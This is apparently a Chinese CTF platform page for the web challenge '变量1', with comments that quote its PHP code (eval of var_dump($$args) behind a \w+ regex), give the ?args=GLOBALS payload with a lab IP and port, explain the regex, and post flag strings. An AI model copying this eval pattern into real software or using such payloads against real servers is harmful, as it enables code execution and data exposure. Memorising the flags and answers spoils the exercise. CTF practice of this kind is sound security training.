变量1WEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: dotast
一血奖励: 1金币
解  决: 15113
提  示:
描  述:
题目变量1
评论
Bojing 11月前

flag{8c54911a7d33a6e3fa05eed53c19e775}

回复 0

mansteinA 11月前

flag{a4cdc5b0511c0996f9543f52cff12ada}

回复 0

zhenbuhuiweb 1年前

flag{ee9e3e18e2faf083d243daf9819bccb9}

回复 0

3166235571 1年前

if(!preg_match("/^\w+$/",$args)){ // 正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);

回复 1

哥哥 1年前

http://114.67.175.224:18582/?args=GLOBALS flag{60729e319d957a46aa93c8297eea6108}

回复 0

EtHat 1年前

/?args=_SERVER

回复 0

鸡你太美 1年前

使用?args=GLOBALS以字典类型返回当前位置的全部全局变量。 得到flag{c94e74f9465ed5564d0f1047b3da021c}

回复 2
jamin 11月前

@asd+1024 GLOBAL会被正则表达式匹配,但是正则匹配前面还有"!",取反了,所以if不执行

回复 1

ts4win 1年前

@LP_joker + 表示匹配前面的模式一次或多次,并不是加上数字

回复 0

LP_joker 1年前

@asd+1024 ^\w+$表示匹配“大小写字母+数字” GLOSBALS只有字母

回复 0

asd+1024 1年前

可是,为什么GLOBAL不会被正则表达式匹配啊,大佬能讲讲吗

回复 0

coo1an 1年前

/?args=GLOBALS

回复 0

大哥大 1年前

?args=GLOBALS即可得到flag

回复 1

chushou 1年前

了解 preg_match()函数,预变量GLOBALS。让参数args=GLOBALS就可以得到flag

回复 2

WriteUp

image
harry

1 金币

评分(12)

解题动态

jingraa 攻破了该题 6小时前
ctfshiyan 攻破了该题 8小时前
whbwhb111222map 攻破了该题 9小时前
kakia 攻破了该题 9小时前
13284646828 攻破了该题 10小时前
yyy_ 攻破了该题 11小时前
zxcvbnmzhang 攻破了该题 13小时前
prettyLife 攻破了该题 14小时前
yypity 攻破了该题 14小时前
Aloha 攻破了该题 21小时前
1613715611 攻破了该题 1天前
苍穹璀璨 攻破了该题 1天前
ccttffwwyy 攻破了该题 1天前
onli 攻破了该题 1天前
862864227 攻破了该题 1天前
叫我阿喜 攻破了该题 1天前
zxfxhysj 攻破了该题 2天前
1554724520 攻破了该题 2天前
LUYUU 攻破了该题 2天前
17781371647 攻破了该题 2天前
问题反馈